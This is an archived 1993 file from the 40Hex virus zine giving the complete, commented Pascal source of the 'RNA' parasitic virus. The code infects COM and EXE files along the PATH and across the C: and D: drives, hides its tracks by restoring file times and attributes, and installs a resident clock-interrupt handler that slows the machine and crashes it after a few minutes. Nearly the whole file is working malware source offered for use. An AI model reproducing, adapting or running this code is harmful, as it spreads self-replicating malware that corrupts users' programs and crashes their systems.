home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / 40hex-10.zip / 40HEX-10.003 < prev    next >
Text File  |  1993-03-13  |  12KB  |  233 lines
  1. 40Hex Issue 10 Volume 3 Number 1                                      File 003
  2.  
  3. The following is the source code for the RNA virus, a Pascal virus which
  4. preserves the functionality of the EXE files which it infects.  It is a
  5. primitive virus, but is an example of a parasitic virus not written in
  6. assembly.
  7. -------------------------------------------------------------------------------
  8. {$i-}{$m 2048,0,24576}
  9. Program RNA;
  10. { Commenting by Dark Angel of Phalcon/Skism }
  11. { for 40Hex Issue 10 Volume 3 Number 1 }
  12. uses dos;
  13.  
  14. const blksize=8192;                     { buffer size                        }
  15.       vsize=7200;                       { length of virus                    }
  16.       wc='*.';                          { part of file mask                  }
  17.       counter=blksize-1;                { location of the counter            }
  18.       cb=':\';                          { colon backslash                    }
  19.       maxinf:byte=4;                    { max # infections                   }
  20.       maxruns:byte=48;                  { # runs before disinfection         }
  21.       drives:array[3..4] of char=('C','D'); { name of the drives             }
  22.       imf:string[12]='ux142.rqz';       { temporary file name                }
  23.  
  24.  
  25. type vtype=array[1..vsize] of byte;     { type of buffer for storing virus   }
  26.      buftype=array[1..blksize] of byte; { type of buffer for file operations }
  27.  
  28. var ps:string;                          { path string                        }
  29.     s:pathstr;                          { currently running program          }
  30.     ds:dirstr;                          { current directory                  }
  31.     ns:namestr;                         { filename of current program        }
  32.     es:extstr;                          { extension of current program       }
  33.     v:^vtype;                           { buffer for virus code              }
  34.     buf:^buftype;                       { buffer for file copying            }
  35.     count,indx,inf:byte;
  36.     attr,nr,nw:word;
  37.     sr:searchrec;                       { for find first/find next calls     }
  38.     f,f2:file;                          { file handles                       }
  39.     t:longint;                          { file time/date storage             }
  40.  
  41. procedure copyf;                        { copy file                          }
  42. begin
  43.  repeat                                 { copy the file in blocks            }
  44.   blockread(f,buf^,blksize,nr);         { read from the source file          }
  45.   blockwrite(f2,buf^,nr,nw);            { write to the target file           }
  46.  until (eof(f));                        { stop if end of file reached        }
  47.  close(f);                              { close the source file              }
  48.  setftime(f2,t);                        { set file time/date of target       }
  49.  close(f2);                             { then close target file             }
  50. end;
  51.  
  52. Procedure stripf;                       { strip virus from the file          }
  53.  
  54. begin
  55.  assign(f,s);                           { f = handle for current file        }
  56.  reset(f,1);                            { prepare it for reading             }
  57.  getftime(f,t);                         { save file creation time/date       }
  58.  assign(f2,ds+imf);                     { create temporary file              }
  59.  rewrite(f2,1);                         { prepare for writing                }
  60.  seek(f,vsize);                         { go past virus                      }
  61.  copyf;                                 { and copy uninfected file           }
  62. end;
  63.  
  64. procedure load;                         { load the virus from carrier file   }
  65.  
  66. begin
  67.  assign(f,s);                           { f = handle for current file        }
  68.  getfattr(f,attr);                      { get its file attributes            }
  69.  reset(f,1);                            { and prepare it for reading         }
  70.  if ioresult=0 then                     { continue if no failure             }
  71.   begin
  72.    getftime(f,t);                       { get file creation time/date        }
  73.    blockread(f,v^,vsize,nr);            { read the virus to buffer           }
  74.    count:=v^[vsize]-1;                  { get the counter from the buffer    }
  75.                                         { and decrement it                   }
  76.    v^[vsize]:=maxruns;                  { reset counter in buffer            }
  77.    seek(f,vsize-1);                     { go to generation counter in buffer }
  78.    blockwrite(f,count,1,nr);            { write new counter to file          }
  79.    setftime(f,t);                       { restore file time/date             }
  80.    close(f);                            { close the file                     }
  81.    setfattr(f,attr);                    { restore its file attributes        }
  82.   end;
  83. end;
  84.  
  85. function checkf(pth:dirstr):boolean;    { check if file already infected     }
  86.  
  87. var by:array[1..27] of byte;            { buffer for checking marker bytes   }
  88.  
  89. begin
  90.  checkf:=false;                         { default to don't infect            }
  91.  if pos(sr.name,'COMMAND.COM')=0 then   { don't infect COMMAND.COM           }
  92.  begin
  93.   assign(f,pth+sr.name);                { get filename                       }
  94.   reset(f,1);                           { open for reading                   }
  95.   if ioresult=0 then                    { continue if open ok                }
  96.    begin
  97.     blockread(f,by,27,nr);              { start checking the file            }
  98.     for indx:=1 to 27 do                { to see if the virus is             }
  99.      if (by[indx])<>(v^[indx]) then     { already there                      }
  100.       checkf:=true;                     { if not, return infect ok           }
  101.     close(f);                           { close the file                     }
  102.    end;
  103.  end;
  104. end;
  105.  
  106. procedure attach(pth:dirstr);           { attach virus to start of file      }
  107. begin
  108.  inc(inf);                              { increment infection counter        }
  109.  assign(f2,pth+'zSqA.th');              { create temporary file              }
  110.  rewrite(f2,1);                         { open for writing                   }
  111.  if ioresult=0 then                     { continue if no errors              }
  112.   begin
  113.    assign(f,pth+sr.name);               { open file to infect                }
  114.    getfattr(f,attr);                    { save its attributes                }
  115.    reset(f,1);                          { open for reading                   }
  116.    getftime(f,t);                       { save its creation time/date        }
  117.    blockwrite(f2,v^,vsize,nr);          { write the virus to the temp file   }
  118.    copyf;                               { copy the file to infect to the     }
  119.    erase(f);                            { temp file and erase original       }
  120.    rename(f2,sr.name);                  { rename the temp file to the name   }
  121.    setfattr(f2,attr);                   { of the original and restore file   }
  122.   end;                                  { attributes                         }
  123. end;
  124.  
  125. procedure rep(pth:dirstr;ext:extstr);   { replicate within a directory       }
  126.  
  127. begin
  128.  findfirst(pth+wc+ext,hidden+archive+readonly,sr);
  129.  while (inf<maxinf) and (doserror=0) do { search for files to infect         }
  130.   begin
  131.    if checkf(pth) then attach(pth);     { infect if not already infected     }
  132.    findnext(sr);                        { then continue for other files      }
  133.   end;
  134. end;
  135.  
  136. procedure wastetime;interrupt;          { interrupt 1Ch handler              }
  137. begin
  138.  inc(t);
  139.  inline($90/$90/$90/$90/$90/$90);       { NOP NOP NOP NOP NOP NOP            }
  140.  if ((t mod 8640)=8639) then inline($4C); { crash after about 8 minutes      }
  141. end;
  142.  
  143. procedure replicate;                            { duplicate within path      }
  144.  
  145. var tmp:dirstr;                                 { holds a directory name     }
  146.  
  147. begin
  148.  while (ps<>'') do                              { while more directories     }
  149.   begin
  150.    indx:=pos(';',ps);                           { go to next directory       }
  151.    if indx=0 then                               { if not found, then at      }
  152.     begin                                       { last directory             }
  153.      tmp:=ps;                                   { copy directory name to     }
  154.      ps:='';                                    { variable                   }
  155.     end
  156.    else
  157.     begin
  158.      tmp:=copy(ps,1,indx-1);                    { copy directory name to     }
  159.      ps:=copy(ps,indx+1,length(ps)-indx);       { variable           }
  160.     end;
  161.    if tmp[length(tmp)]<>'\' then tmp:=tmp+'\';  { concatenate '\' if it      }
  162.                                                 { isn't already there        }
  163.    rep(tmp,'cOm');                              { infect *.COM               }
  164.    rep(tmp,'exE');                              { infect *.EXE               }
  165.   end;
  166. end;
  167.  
  168. procedure makep;                                { this makes a path if it    }
  169.                                                 { isn't found in the system  }
  170. var b:byte;
  171.  
  172. begin
  173.  getdir(0,ps);                                  { get current drive          }
  174.  for b:=3 to 4 do                               { do this for C: and D:      }
  175.   begin
  176.    ps:=ps+';'+drives[b]+cb+';';                 { copy each drive to path    }
  177.    findfirst(drives[b]+cb+wc,directory,sr);     { check if dirs on drive     }
  178.    while (doserror=0) and (length(ps)<240) do   { if not, continue           }
  179.     begin
  180.      ps:=ps+drives[b]+cb+sr.name+';';           { add all dirs to the path   }
  181.      findnext(sr);                              { do it again and again      }
  182.     end;
  183.   end;
  184. end;
  185.  
  186. procedure grow;
  187.  
  188. begin
  189.  inf:=0;                        { reset infection counter                    }
  190.  ps:=getenv('path');            { get the current path                       }
  191.  if ps<>'' then replicate;      { infect files if path found                 }
  192.  if inf<maxinf then             { if not enough files infected               }
  193.   begin
  194.    makep;                       { make a path                                }
  195.    replicate;                   { and then infect                            }
  196.   end;
  197. end;
  198.  
  199. procedure remove;               { disinfection routine                       }
  200. begin
  201.  assign(f,s);                   { f = handle for currently running file      }
  202.  erase(f);                      { delete the current file                    }
  203.  assign(f,ds+imf);              { f = handle for disinfected copy            }
  204.  rename(f,ns+es);               { replace carrier file with disinfected copy }
  205. end;
  206.  
  207. procedure runf;                 { run the original file                      }
  208. begin
  209.  exec(ds+imf,paramstr(1)+paramstr(2)+paramstr(3));
  210.  assign(f,ds+imf);              { delete disinfected copy                    }
  211.  erase(f);
  212. end;
  213.  
  214. begin
  215.  new(v);                        { allocate memory to store virus             }
  216.  new(buf);                      { allocate memory for file operations buffer }
  217.  s:=paramstr(0);                { get filename of currently running program  }
  218.  fsplit(s,ds,ns,es);            { split to directory, name, and extension    }
  219.  stripf;                        { strip infected file from executable        }
  220.  load;                          { load the virus data to the buffer          }
  221.  grow;                          { infect files                               }
  222.  if count=0 then remove;        { disinfect if run maxruns times             }
  223.  runf;                          { run the original file                      }
  224.  if count<3 then                { slow system down if run many times         }
  225.   begin
  226.    t:=0;                        { reset count variable                       }
  227.    setintvec($1c,@wastetime);   { set clock tick handler                     }
  228.    keep(0);                     { and then stay resident                     }
  229.   end;
  230. end.
  231. -------------------------------------------------------------------------------
  232.                                                                              DA
  233.